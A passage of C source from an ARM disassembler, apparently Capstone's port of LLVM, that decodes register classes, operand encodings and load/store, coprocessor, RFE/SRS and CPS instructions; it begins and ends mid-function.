return MCDisassembler_Fail;
Register = SPRDecoderTable[RegNo];
MCOperand_CreateReg0(Inst, Register);
return MCDisassembler_Success;
}
static const uint16_t DPRDecoderTable[] = {
ARM_D0, ARM_D1, ARM_D2, ARM_D3,
ARM_D4, ARM_D5, ARM_D6, ARM_D7,
ARM_D8, ARM_D9, ARM_D10, ARM_D11,
ARM_D12, ARM_D13, ARM_D14, ARM_D15,
ARM_D16, ARM_D17, ARM_D18, ARM_D19,
ARM_D20, ARM_D21, ARM_D22, ARM_D23,
ARM_D24, ARM_D25, ARM_D26, ARM_D27,
ARM_D28, ARM_D29, ARM_D30, ARM_D31
};
static DecodeStatus DecodeDPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
unsigned Register = 0;
if (RegNo > 31)
return MCDisassembler_Fail;
Register = DPRDecoderTable[RegNo];
MCOperand_CreateReg0(Inst, Register);
return MCDisassembler_Success;
}
static DecodeStatus DecodeDPR_8RegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
if (RegNo > 7)
return MCDisassembler_Fail;
return DecodeDPRRegisterClass(Inst, RegNo, Address, Decoder);
}
static DecodeStatus
DecodeDPR_VFP2RegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
if (RegNo > 15)
return MCDisassembler_Fail;
return DecodeDPRRegisterClass(Inst, RegNo, Address, Decoder);
}
static const uint16_t QPRDecoderTable[] = {
ARM_Q0, ARM_Q1, ARM_Q2, ARM_Q3,
ARM_Q4, ARM_Q5, ARM_Q6, ARM_Q7,
ARM_Q8, ARM_Q9, ARM_Q10, ARM_Q11,
ARM_Q12, ARM_Q13, ARM_Q14, ARM_Q15
};
static DecodeStatus DecodeQPRRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
unsigned Register;
if (RegNo > 31 || (RegNo & 1) != 0)
return MCDisassembler_Fail;
RegNo >>= 1;
Register = QPRDecoderTable[RegNo];
MCOperand_CreateReg0(Inst, Register);
return MCDisassembler_Success;
}
static const uint16_t DPairDecoderTable[] = {
ARM_Q0, ARM_D1_D2, ARM_Q1, ARM_D3_D4, ARM_Q2, ARM_D5_D6,
ARM_Q3, ARM_D7_D8, ARM_Q4, ARM_D9_D10, ARM_Q5, ARM_D11_D12,
ARM_Q6, ARM_D13_D14, ARM_Q7, ARM_D15_D16, ARM_Q8, ARM_D17_D18,
ARM_Q9, ARM_D19_D20, ARM_Q10, ARM_D21_D22, ARM_Q11, ARM_D23_D24,
ARM_Q12, ARM_D25_D26, ARM_Q13, ARM_D27_D28, ARM_Q14, ARM_D29_D30,
ARM_Q15
};
static DecodeStatus DecodeDPairRegisterClass(MCInst *Inst, unsigned RegNo,
uint64_t Address, const void *Decoder)
{
unsigned Register;
if (RegNo > 30)
return MCDisassembler_Fail;
Register = DPairDecoderTable[RegNo];
MCOperand_CreateReg0(Inst, Register);
return MCDisassembler_Success;
}
static const uint16_t DPairSpacedDecoderTable[] = {
ARM_D0_D2, ARM_D1_D3, ARM_D2_D4, ARM_D3_D5,
ARM_D4_D6, ARM_D5_D7, ARM_D6_D8, ARM_D7_D9,
ARM_D8_D10, ARM_D9_D11, ARM_D10_D12, ARM_D11_D13,
ARM_D12_D14, ARM_D13_D15, ARM_D14_D16, ARM_D15_D17,
ARM_D16_D18, ARM_D17_D19, ARM_D18_D20, ARM_D19_D21,
ARM_D20_D22, ARM_D21_D23, ARM_D22_D24, ARM_D23_D25,
ARM_D24_D26, ARM_D25_D27, ARM_D26_D28, ARM_D27_D29,
ARM_D28_D30, ARM_D29_D31
};
static DecodeStatus DecodeDPairSpacedRegisterClass(MCInst *Inst,
unsigned RegNo, uint64_t Address, const void *Decoder)
{
unsigned Register;
if (RegNo > 29)
return MCDisassembler_Fail;
Register = DPairSpacedDecoderTable[RegNo];
MCOperand_CreateReg0(Inst, Register);
return MCDisassembler_Success;
}
static DecodeStatus DecodeCCOutOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
if (Val)
MCOperand_CreateReg0(Inst, ARM_CPSR);
else
MCOperand_CreateReg0(Inst, 0);
return MCDisassembler_Success;
}
static DecodeStatus DecodeSOImmOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
uint32_t imm = Val & 0xFF;
uint32_t rot = (Val & 0xF00) >> 7;
uint32_t rot_imm = (imm >> rot) | (imm << ((32-rot) & 0x1F));
MCOperand_CreateImm0(Inst, rot_imm);
return MCDisassembler_Success;
}
static DecodeStatus DecodeSORegImmOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
ARM_AM_ShiftOpc Shift;
unsigned Op;
unsigned Rm = fieldFromInstruction_4(Val, 0, 4);
unsigned type = fieldFromInstruction_4(Val, 5, 2);
unsigned imm = fieldFromInstruction_4(Val, 7, 5);
// Register-immediate
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
Shift = ARM_AM_lsl;
switch (type) {
case 0:
Shift = ARM_AM_lsl;
break;
case 1:
Shift = ARM_AM_lsr;
break;
case 2:
Shift = ARM_AM_asr;
break;
case 3:
Shift = ARM_AM_ror;
break;
}
if (Shift == ARM_AM_ror && imm == 0)
Shift = ARM_AM_rrx;
Op = Shift | (imm << 3);
MCOperand_CreateImm0(Inst, Op);
return S;
}
static DecodeStatus DecodeSORegRegOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
ARM_AM_ShiftOpc Shift;
unsigned Rm = fieldFromInstruction_4(Val, 0, 4);
unsigned type = fieldFromInstruction_4(Val, 5, 2);
unsigned Rs = fieldFromInstruction_4(Val, 8, 4);
// Register-register
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rs, Address, Decoder)))
return MCDisassembler_Fail;
Shift = ARM_AM_lsl;
switch (type) {
case 0:
Shift = ARM_AM_lsl;
break;
case 1:
Shift = ARM_AM_lsr;
break;
case 2:
Shift = ARM_AM_asr;
break;
case 3:
Shift = ARM_AM_ror;
break;
}
MCOperand_CreateImm0(Inst, Shift);
return S;
}
static DecodeStatus DecodeRegListOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
unsigned i;
DecodeStatus S = MCDisassembler_Success;
unsigned opcode;
bool NeedDisjointWriteback = false;
unsigned WritebackReg = 0;
opcode = MCInst_getOpcode(Inst);
switch (opcode) {
default:
break;
case ARM_LDMIA_UPD:
case ARM_LDMDB_UPD:
case ARM_LDMIB_UPD:
case ARM_LDMDA_UPD:
case ARM_t2LDMIA_UPD:
case ARM_t2LDMDB_UPD:
case ARM_t2STMIA_UPD:
case ARM_t2STMDB_UPD:
NeedDisjointWriteback = true;
WritebackReg = MCOperand_getReg(MCInst_getOperand(Inst, 0));
break;
}
// Empty register lists are not allowed.
if (Val == 0) return MCDisassembler_Fail;
for (i = 0; i < 16; ++i) {
if (Val & (1 << i)) {
if (!Check(&S, DecodeGPRRegisterClass(Inst, i, Address, Decoder)))
return MCDisassembler_Fail;
// Writeback not allowed if Rn is in the target list.
if (NeedDisjointWriteback && WritebackReg == MCOperand_getReg(&(Inst->Operands[Inst->size-1])))
Check(&S, MCDisassembler_SoftFail);
}
}
if (opcode == ARM_t2LDMIA_UPD && WritebackReg == ARM_SP) {
if (Val & (1 << 13) || ((Val & (1 << 15)) && (Val & (1 << 14)))) {
// invalid thumb2 pop
// needs no sp in reglist and not both pc and lr set at the same time
return MCDisassembler_Fail;
}
}
return S;
}
static DecodeStatus DecodeSPRRegListOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned i;
unsigned Vd = fieldFromInstruction_4(Val, 8, 5);
unsigned regs = fieldFromInstruction_4(Val, 0, 8);
// In case of unpredictable encoding, tweak the operands.
if (regs == 0 || (Vd + regs) > 32) {
regs = Vd + regs > 32 ? 32 - Vd : regs;
regs = (1u > regs? 1u : regs);
S = MCDisassembler_SoftFail;
}
if (!Check(&S, DecodeSPRRegisterClass(Inst, Vd, Address, Decoder)))
return MCDisassembler_Fail;
for (i = 0; i < (regs - 1); ++i) {
if (!Check(&S, DecodeSPRRegisterClass(Inst, ++Vd, Address, Decoder)))
return MCDisassembler_Fail;
}
return S;
}
static DecodeStatus DecodeDPRRegListOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned i;
unsigned Vd = fieldFromInstruction_4(Val, 8, 5);
unsigned regs = fieldFromInstruction_4(Val, 1, 7);
// In case of unpredictable encoding, tweak the operands.
if (regs == 0 || regs > 16 || (Vd + regs) > 32) {
regs = Vd + regs > 32 ? 32 - Vd : regs;
regs = (1u > regs? 1u : regs);
regs = (16u > regs? regs : 16u);
S = MCDisassembler_SoftFail;
}
if (!Check(&S, DecodeDPRRegisterClass(Inst, Vd, Address, Decoder)))
return MCDisassembler_Fail;
for (i = 0; i < (regs - 1); ++i) {
if (!Check(&S, DecodeDPRRegisterClass(Inst, ++Vd, Address, Decoder)))
return MCDisassembler_Fail;
}
return S;
}
static DecodeStatus DecodeBitfieldMaskOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
// This operand encodes a mask of contiguous zeros between a specified MSB
// and LSB. To decode it, we create the mask of all bits MSB-and-lower,
// the mask of all bits LSB-and-lower, and then xor them to create
// the mask of that's all ones on [msb, lsb]. Finally we not it to
// create the final mask.
unsigned msb = fieldFromInstruction_4(Val, 5, 5);
unsigned lsb = fieldFromInstruction_4(Val, 0, 5);
uint32_t lsb_mask, msb_mask;
DecodeStatus S = MCDisassembler_Success;
if (lsb > msb) {
Check(&S, MCDisassembler_SoftFail);
// The check above will cause the warning for the "potentially undefined
// instruction encoding" but we can't build a bad MCOperand value here
// with a lsb > msb or else printing the MCInst will cause a crash.
lsb = msb;
}
msb_mask = 0xFFFFFFFF;
if (msb != 31) msb_mask = (1U << (msb+1)) - 1;
lsb_mask = (1U << lsb) - 1;
MCOperand_CreateImm0(Inst, ~(msb_mask ^ lsb_mask));
return S;
}
static DecodeStatus DecodeCopMemInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
unsigned CRd = fieldFromInstruction_4(Insn, 12, 4);
unsigned coproc = fieldFromInstruction_4(Insn, 8, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 8);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned U = fieldFromInstruction_4(Insn, 23, 1);
switch (MCInst_getOpcode(Inst)) {
case ARM_LDC_OFFSET:
case ARM_LDC_PRE:
case ARM_LDC_POST:
case ARM_LDC_OPTION:
case ARM_LDCL_OFFSET:
case ARM_LDCL_PRE:
case ARM_LDCL_POST:
case ARM_LDCL_OPTION:
case ARM_STC_OFFSET:
case ARM_STC_PRE:
case ARM_STC_POST:
case ARM_STC_OPTION:
case ARM_STCL_OFFSET:
case ARM_STCL_PRE:
case ARM_STCL_POST:
case ARM_STCL_OPTION:
case ARM_t2LDC_OFFSET:
case ARM_t2LDC_PRE:
case ARM_t2LDC_POST:
case ARM_t2LDC_OPTION:
case ARM_t2LDCL_OFFSET:
case ARM_t2LDCL_PRE:
case ARM_t2LDCL_POST:
case ARM_t2LDCL_OPTION:
case ARM_t2STC_OFFSET:
case ARM_t2STC_PRE:
case ARM_t2STC_POST:
case ARM_t2STC_OPTION:
case ARM_t2STCL_OFFSET:
case ARM_t2STCL_PRE:
case ARM_t2STCL_POST:
case ARM_t2STCL_OPTION:
if (coproc == 0xA || coproc == 0xB)
return MCDisassembler_Fail;
break;
default:
break;
}
MCOperand_CreateImm0(Inst, coproc);
MCOperand_CreateImm0(Inst, CRd);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
switch (MCInst_getOpcode(Inst)) {
case ARM_t2LDC2_OFFSET:
case ARM_t2LDC2L_OFFSET:
case ARM_t2LDC2_PRE:
case ARM_t2LDC2L_PRE:
case ARM_t2STC2_OFFSET:
case ARM_t2STC2L_OFFSET:
case ARM_t2STC2_PRE:
case ARM_t2STC2L_PRE:
case ARM_LDC2_OFFSET:
case ARM_LDC2L_OFFSET:
case ARM_LDC2_PRE:
case ARM_LDC2L_PRE:
case ARM_STC2_OFFSET:
case ARM_STC2L_OFFSET:
case ARM_STC2_PRE:
case ARM_STC2L_PRE:
case ARM_t2LDC_OFFSET:
case ARM_t2LDCL_OFFSET:
case ARM_t2LDC_PRE:
case ARM_t2LDCL_PRE:
case ARM_t2STC_OFFSET:
case ARM_t2STCL_OFFSET:
case ARM_t2STC_PRE:
case ARM_t2STCL_PRE:
case ARM_LDC_OFFSET:
case ARM_LDCL_OFFSET:
case ARM_LDC_PRE:
case ARM_LDCL_PRE:
case ARM_STC_OFFSET:
case ARM_STCL_OFFSET:
case ARM_STC_PRE:
case ARM_STCL_PRE:
imm = ARM_AM_getAM5Opc(U ? ARM_AM_add : ARM_AM_sub, (unsigned char)imm);
MCOperand_CreateImm0(Inst, imm);
break;
case ARM_t2LDC2_POST:
case ARM_t2LDC2L_POST:
case ARM_t2STC2_POST:
case ARM_t2STC2L_POST:
case ARM_LDC2_POST:
case ARM_LDC2L_POST:
case ARM_STC2_POST:
case ARM_STC2L_POST:
case ARM_t2LDC_POST:
case ARM_t2LDCL_POST:
case ARM_t2STC_POST:
case ARM_t2STCL_POST:
case ARM_LDC_POST:
case ARM_LDCL_POST:
case ARM_STC_POST:
case ARM_STCL_POST:
imm |= U << 8;
// fall through.
default:
// The 'option' variant doesn't encode 'U' in the immediate since
// the immediate is unsigned [0,255].
MCOperand_CreateImm0(Inst, imm);
break;
}
switch (MCInst_getOpcode(Inst)) {
case ARM_LDC_OFFSET:
case ARM_LDC_PRE:
case ARM_LDC_POST:
case ARM_LDC_OPTION:
case ARM_LDCL_OFFSET:
case ARM_LDCL_PRE:
case ARM_LDCL_POST:
case ARM_LDCL_OPTION:
case ARM_STC_OFFSET:
case ARM_STC_PRE:
case ARM_STC_POST:
case ARM_STC_OPTION:
case ARM_STCL_OFFSET:
case ARM_STCL_PRE:
case ARM_STCL_POST:
case ARM_STCL_OPTION:
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
return S;
}
static DecodeStatus DecodeAddrMode2IdxInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
ARM_AM_AddrOpc Op;
ARM_AM_ShiftOpc Opc;
bool writeback;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned imm = fieldFromInstruction_4(Insn, 0, 12);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
unsigned reg = fieldFromInstruction_4(Insn, 25, 1);
unsigned P = fieldFromInstruction_4(Insn, 24, 1);
unsigned W = fieldFromInstruction_4(Insn, 21, 1);
unsigned idx_mode = 0, amt, tmp;
// On stores, the writeback operand precedes Rt.
switch (MCInst_getOpcode(Inst)) {
case ARM_STR_POST_IMM:
case ARM_STR_POST_REG:
case ARM_STRB_POST_IMM:
case ARM_STRB_POST_REG:
case ARM_STRT_POST_REG:
case ARM_STRT_POST_IMM:
case ARM_STRBT_POST_REG:
case ARM_STRBT_POST_IMM:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
// On loads, the writeback operand comes after Rt.
switch (MCInst_getOpcode(Inst)) {
case ARM_LDR_POST_IMM:
case ARM_LDR_POST_REG:
case ARM_LDRB_POST_IMM:
case ARM_LDRB_POST_REG:
case ARM_LDRBT_POST_REG:
case ARM_LDRBT_POST_IMM:
case ARM_LDRT_POST_REG:
case ARM_LDRT_POST_IMM:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
Op = ARM_AM_add;
if (!fieldFromInstruction_4(Insn, 23, 1))
Op = ARM_AM_sub;
writeback = (P == 0) || (W == 1);
if (P && writeback)
idx_mode = ARMII_IndexModePre;
else if (!P && writeback)
idx_mode = ARMII_IndexModePost;
if (writeback && (Rn == 15 || Rn == Rt))
S = MCDisassembler_SoftFail; // UNPREDICTABLE
if (reg) {
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
Opc = ARM_AM_lsl;
switch( fieldFromInstruction_4(Insn, 5, 2)) {
case 0:
Opc = ARM_AM_lsl;
break;
case 1:
Opc = ARM_AM_lsr;
break;
case 2:
Opc = ARM_AM_asr;
break;
case 3:
Opc = ARM_AM_ror;
break;
default:
return MCDisassembler_Fail;
}
amt = fieldFromInstruction_4(Insn, 7, 5);
if (Opc == ARM_AM_ror && amt == 0)
Opc = ARM_AM_rrx;
imm = ARM_AM_getAM2Opc(Op, amt, Opc, idx_mode);
MCOperand_CreateImm0(Inst, imm);
} else {
MCOperand_CreateReg0(Inst, 0);
tmp = ARM_AM_getAM2Opc(Op, imm, ARM_AM_lsl, idx_mode);
MCOperand_CreateImm0(Inst, tmp);
}
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeSORegMemOperand(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
ARM_AM_ShiftOpc ShOp;
unsigned shift;
unsigned Rn = fieldFromInstruction_4(Val, 13, 4);
unsigned Rm = fieldFromInstruction_4(Val, 0, 4);
unsigned type = fieldFromInstruction_4(Val, 5, 2);
unsigned imm = fieldFromInstruction_4(Val, 7, 5);
unsigned U = fieldFromInstruction_4(Val, 12, 1);
ShOp = ARM_AM_lsl;
switch (type) {
case 0:
ShOp = ARM_AM_lsl;
break;
case 1:
ShOp = ARM_AM_lsr;
break;
case 2:
ShOp = ARM_AM_asr;
break;
case 3:
ShOp = ARM_AM_ror;
break;
}
if (ShOp == ARM_AM_ror && imm == 0)
ShOp = ARM_AM_rrx;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
if (U)
shift = ARM_AM_getAM2Opc(ARM_AM_add, imm, ShOp, 0);
else
shift = ARM_AM_getAM2Opc(ARM_AM_sub, imm, ShOp, 0);
MCOperand_CreateImm0(Inst, shift);
return S;
}
static DecodeStatus DecodeAddrMode3Instruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned type = fieldFromInstruction_4(Insn, 22, 1);
unsigned imm = fieldFromInstruction_4(Insn, 8, 4);
unsigned U = ((~fieldFromInstruction_4(Insn, 23, 1)) & 1) << 8;
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
unsigned W = fieldFromInstruction_4(Insn, 21, 1);
unsigned P = fieldFromInstruction_4(Insn, 24, 1);
unsigned Rt2 = Rt + 1;
bool writeback = (W == 1) | (P == 0);
// For {LD,ST}RD, Rt must be even, else undefined.
switch (MCInst_getOpcode(Inst)) {
case ARM_STRD:
case ARM_STRD_PRE:
case ARM_STRD_POST:
case ARM_LDRD:
case ARM_LDRD_PRE:
case ARM_LDRD_POST:
if (Rt & 0x1) S = MCDisassembler_SoftFail;
break;
default:
break;
}
switch (MCInst_getOpcode(Inst)) {
case ARM_STRD:
case ARM_STRD_PRE:
case ARM_STRD_POST:
if (P == 0 && W == 1)
S = MCDisassembler_SoftFail;
if (writeback && (Rn == 15 || Rn == Rt || Rn == Rt2))
S = MCDisassembler_SoftFail;
if (type && Rm == 15)
S = MCDisassembler_SoftFail;
if (Rt2 == 15)
S = MCDisassembler_SoftFail;
if (!type && fieldFromInstruction_4(Insn, 8, 4))
S = MCDisassembler_SoftFail;
break;
case ARM_STRH:
case ARM_STRH_PRE:
case ARM_STRH_POST:
if (Rt == 15)
S = MCDisassembler_SoftFail;
if (writeback && (Rn == 15 || Rn == Rt))
S = MCDisassembler_SoftFail;
if (!type && Rm == 15)
S = MCDisassembler_SoftFail;
break;
case ARM_LDRD:
case ARM_LDRD_PRE:
case ARM_LDRD_POST:
if (type && Rn == 15){
if (Rt2 == 15)
S = MCDisassembler_SoftFail;
break;
}
if (P == 0 && W == 1)
S = MCDisassembler_SoftFail;
if (!type && (Rt2 == 15 || Rm == 15 || Rm == Rt || Rm == Rt2))
S = MCDisassembler_SoftFail;
if (!type && writeback && Rn == 15)
S = MCDisassembler_SoftFail;
if (writeback && (Rn == Rt || Rn == Rt2))
S = MCDisassembler_SoftFail;
break;
case ARM_LDRH:
case ARM_LDRH_PRE:
case ARM_LDRH_POST:
if (type && Rn == 15){
if (Rt == 15)
S = MCDisassembler_SoftFail;
break;
}
if (Rt == 15)
S = MCDisassembler_SoftFail;
if (!type && Rm == 15)
S = MCDisassembler_SoftFail;
if (!type && writeback && (Rn == 15 || Rn == Rt))
S = MCDisassembler_SoftFail;
break;
case ARM_LDRSH:
case ARM_LDRSH_PRE:
case ARM_LDRSH_POST:
case ARM_LDRSB:
case ARM_LDRSB_PRE:
case ARM_LDRSB_POST:
if (type && Rn == 15){
if (Rt == 15)
S = MCDisassembler_SoftFail;
break;
}
if (type && (Rt == 15 || (writeback && Rn == Rt)))
S = MCDisassembler_SoftFail;
if (!type && (Rt == 15 || Rm == 15))
S = MCDisassembler_SoftFail;
if (!type && writeback && (Rn == 15 || Rn == Rt))
S = MCDisassembler_SoftFail;
break;
default:
break;
}
if (writeback) { // Writeback
Inst->writeback = true;
if (P)
U |= ARMII_IndexModePre << 9;
else
U |= ARMII_IndexModePost << 9;
// On stores, the writeback operand precedes Rt.
switch (MCInst_getOpcode(Inst)) {
case ARM_STRD:
case ARM_STRD_PRE:
case ARM_STRD_POST:
case ARM_STRH:
case ARM_STRH_PRE:
case ARM_STRH_POST:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
switch (MCInst_getOpcode(Inst)) {
case ARM_STRD:
case ARM_STRD_PRE:
case ARM_STRD_POST:
case ARM_LDRD:
case ARM_LDRD_PRE:
case ARM_LDRD_POST:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt+1, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
if (writeback) {
// On loads, the writeback operand comes after Rt.
switch (MCInst_getOpcode(Inst)) {
case ARM_LDRD:
case ARM_LDRD_PRE:
case ARM_LDRD_POST:
case ARM_LDRH:
case ARM_LDRH_PRE:
case ARM_LDRH_POST:
case ARM_LDRSH:
case ARM_LDRSH_PRE:
case ARM_LDRSH_POST:
case ARM_LDRSB:
case ARM_LDRSB_PRE:
case ARM_LDRSB_POST:
case ARM_LDRHTr:
case ARM_LDRSBTr:
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
break;
default:
break;
}
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (type) {
MCOperand_CreateReg0(Inst, 0);
MCOperand_CreateImm0(Inst, U | (imm << 4) | Rm);
} else {
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, U);
}
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeRFEInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned mode = fieldFromInstruction_4(Insn, 23, 2);
switch (mode) {
case 0:
mode = ARM_AM_da;
break;
case 1:
mode = ARM_AM_ia;
break;
case 2:
mode = ARM_AM_db;
break;
case 3:
mode = ARM_AM_ib;
break;
}
MCOperand_CreateImm0(Inst, mode);
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeQADDInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rd = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
if (pred == 0xF)
return DecodeCPSInstruction(Inst, Insn, Address, Decoder);
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeMemMultipleWritebackInstruction(MCInst *Inst,
unsigned Insn, uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
unsigned reglist = fieldFromInstruction_4(Insn, 0, 16);
if (pred == 0xF) {
// Ambiguous with RFE and SRS
switch (MCInst_getOpcode(Inst)) {
case ARM_LDMDA:
MCInst_setOpcode(Inst, ARM_RFEDA);
break;
case ARM_LDMDA_UPD:
MCInst_setOpcode(Inst, ARM_RFEDA_UPD);
break;
case ARM_LDMDB:
MCInst_setOpcode(Inst, ARM_RFEDB);
break;
case ARM_LDMDB_UPD:
MCInst_setOpcode(Inst, ARM_RFEDB_UPD);
break;
case ARM_LDMIA:
MCInst_setOpcode(Inst, ARM_RFEIA);
break;
case ARM_LDMIA_UPD:
MCInst_setOpcode(Inst, ARM_RFEIA_UPD);
break;
case ARM_LDMIB:
MCInst_setOpcode(Inst, ARM_RFEIB);
break;
case ARM_LDMIB_UPD:
MCInst_setOpcode(Inst, ARM_RFEIB_UPD);
break;
case ARM_STMDA:
MCInst_setOpcode(Inst, ARM_SRSDA);
break;
case ARM_STMDA_UPD:
MCInst_setOpcode(Inst, ARM_SRSDA_UPD);
break;
case ARM_STMDB:
MCInst_setOpcode(Inst, ARM_SRSDB);
break;
case ARM_STMDB_UPD:
MCInst_setOpcode(Inst, ARM_SRSDB_UPD);
break;
case ARM_STMIA:
MCInst_setOpcode(Inst, ARM_SRSIA);
break;
case ARM_STMIA_UPD:
MCInst_setOpcode(Inst, ARM_SRSIA_UPD);
break;
case ARM_STMIB:
MCInst_setOpcode(Inst, ARM_SRSIB);
break;
case ARM_STMIB_UPD:
MCInst_setOpcode(Inst, ARM_SRSIB_UPD);
break;
default:
return MCDisassembler_Fail;
}
// For stores (which become SRS's, the only operand is the mode.
if (fieldFromInstruction_4(Insn, 20, 1) == 0) {
// Check SRS encoding constraints
if (!(fieldFromInstruction_4(Insn, 22, 1) == 1 &&
fieldFromInstruction_4(Insn, 20, 1) == 0))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, fieldFromInstruction_4(Insn, 0, 4));
return S;
}
return DecodeRFEInstruction(Inst, Insn, Address, Decoder);
}
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail; // Tied
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeRegListOperand(Inst, reglist, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeCPSInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
unsigned imod = fieldFromInstruction_4(Insn, 18, 2);
unsigned M = fieldFromInstruction_4(Insn, 17, 1);
unsigned iflags = fieldFromInstruction_4(Insn, 6, 3);
unsigned mode = fieldFromInstruction_4(Insn, 0, 5);
DecodeStatus S = MCDisassembler_Success;
// This decoder is called from multiple location that do not check
// the full encoding is valid before they do.
if (fieldFromInstruction_4(Insn, 5, 1) != 0 ||
fieldFromInstruction_4(Insn, 16, 1) != 0 ||
fieldFromInstruction_4(Insn, 20, 8) != 0x10)
return MCDisassembler_Fail;
// imod == '01' --> UNPREDICTABLE
// NOTE: Even though this is technically UNPREDICTABLE, we choose to
// return failure here. The '01' imod value is unprintable, so there's
